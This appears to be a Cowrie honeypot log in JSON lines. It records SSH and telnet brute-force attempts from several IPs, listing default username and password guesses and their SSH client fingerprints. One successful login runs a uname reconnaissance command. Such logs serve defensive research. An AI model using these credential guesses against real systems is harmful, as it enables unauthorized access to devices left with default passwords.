{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:30.724063Z","src_ip":"195.178.110.218","session":"cefe61be1d2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123","message":"login attempt [solv/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:30.963079Z","src_ip":"195.178.110.218","session":"cefe61be1d2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:32.046452Z","src_ip":"195.178.110.218","session":"cefe61be1d2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":48961,"dst_ip":"159.203.135.109","dst_port":22,"session":"95eb7e44b1d1","protocol":"ssh","message":"New connection: 2.57.121.112:48961 (159.203.135.109:22) [session: 95eb7e44b1d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:51.825147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:51.832735Z","src_ip":"2.57.121.112","session":"95eb7e44b1d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:51.932889Z","src_ip":"2.57.121.112","session":"95eb7e44b1d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0314","message":"login attempt [admin/0314] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:52.407046Z","src_ip":"2.57.121.112","session":"95eb7e44b1d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"031291","message":"login attempt [admin/031291] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:53.510431Z","src_ip":"2.57.121.112","session":"95eb7e44b1d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"031287","message":"login attempt [admin/031287] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:54.614501Z","src_ip":"2.57.121.112","session":"95eb7e44b1d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"03121976","message":"login attempt [admin/03121976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:55.718053Z","src_ip":"2.57.121.112","session":"95eb7e44b1d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"031085","message":"login attempt [admin/031085] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:56.821186Z","src_ip":"2.57.121.112","session":"95eb7e44b1d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:57.925843Z","src_ip":"2.57.121.112","session":"95eb7e44b1d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":40170,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdedb4ea9097","protocol":"ssh","message":"New connection: 92.118.39.92:40170 (10.17.0.5:22) [session: fdedb4ea9097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:31:33.612941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:31:33.617014Z","src_ip":"92.118.39.92","session":"fdedb4ea9097","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:31:33.723587Z","src_ip":"92.118.39.92","session":"fdedb4ea9097","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:31:34.068787Z","src_ip":"92.118.39.92","session":"fdedb4ea9097","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:31:35.178012Z","src_ip":"92.118.39.92","session":"fdedb4ea9097","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":36934,"dst_ip":"159.203.135.109","dst_port":22,"session":"4def32e5b46f","protocol":"ssh","message":"New connection: 193.32.162.151:36934 (159.203.135.109:22) [session: 4def32e5b46f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:31:53.410354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:31:53.415179Z","src_ip":"193.32.162.151","session":"4def32e5b46f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:31:53.521111Z","src_ip":"193.32.162.151","session":"4def32e5b46f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:31:53.842108Z","src_ip":"193.32.162.151","session":"4def32e5b46f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:31:54.953717Z","src_ip":"193.32.162.151","session":"4def32e5b46f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.174","src_port":46146,"dst_ip":"10.17.0.5","dst_port":23,"session":"83bae27913b9","protocol":"telnet","message":"New connection: 130.12.180.174:46146 (10.17.0.5:23) [session: 83bae27913b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:32:26.140903Z"}
{"eventid":"cowrie.session.closed","duration":0.6301789283752441,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:32:26.770959Z","src_ip":"130.12.180.174","session":"83bae27913b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":43452,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b0db7d061e9","protocol":"ssh","message":"New connection: 195.178.110.218:43452 (159.203.135.109:22) [session: 3b0db7d061e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:33:09.973219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:33:09.980132Z","src_ip":"195.178.110.218","session":"3b0db7d061e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:33:10.056562Z","src_ip":"195.178.110.218","session":"3b0db7d061e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:33:10.283590Z","src_ip":"195.178.110.218","session":"3b0db7d061e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:33:11.362127Z","src_ip":"195.178.110.218","session":"3b0db7d061e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":56766,"dst_ip":"10.17.0.5","dst_port":22,"session":"0167f1123298","protocol":"ssh","message":"New connection: 92.118.39.92:56766 (10.17.0.5:22) [session: 0167f1123298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:33:57.682000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:33:57.687046Z","src_ip":"92.118.39.92","session":"0167f1123298","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:33:57.794543Z","src_ip":"92.118.39.92","session":"0167f1123298","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"default","message":"login attempt [root/default] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:33:58.114816Z","src_ip":"92.118.39.92","session":"0167f1123298","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:33:58.407671Z","src_ip":"92.118.39.92","session":"0167f1123298","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:33:58.411611Z","src_ip":"92.118.39.92","session":"0167f1123298","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:33:58.520934Z","src_ip":"92.118.39.92","session":"0167f1123298","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:33:58.525699Z","src_ip":"92.118.39.92","session":"0167f1123298","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":52800,"dst_ip":"159.203.135.109","dst_port":22,"session":"d09cb9f3983a","protocol":"ssh","message":"New connection: 193.32.162.151:52800 (159.203.135.109:22) [session: d09cb9f3983a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:34:09.463615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:34:09.468478Z","src_ip":"193.32.162.151","session":"d09cb9f3983a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:34:09.580464Z","src_ip":"193.32.162.151","session":"d09cb9f3983a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hms","password":"hms","message":"login attempt [hms/hms] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:34:09.899862Z","src_ip":"193.32.162.151","session":"d09cb9f3983a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:34:11.007741Z","src_ip":"193.32.162.151","session":"d09cb9f3983a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":58008,"dst_ip":"159.203.135.109","dst_port":22,"session":"260ce70624d4","protocol":"ssh","message":"New connection: 195.178.110.218:58008 (159.203.135.109:22) [session: 260ce70624d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:35:44.153451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:35:44.157935Z","src_ip":"195.178.110.218","session":"260ce70624d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 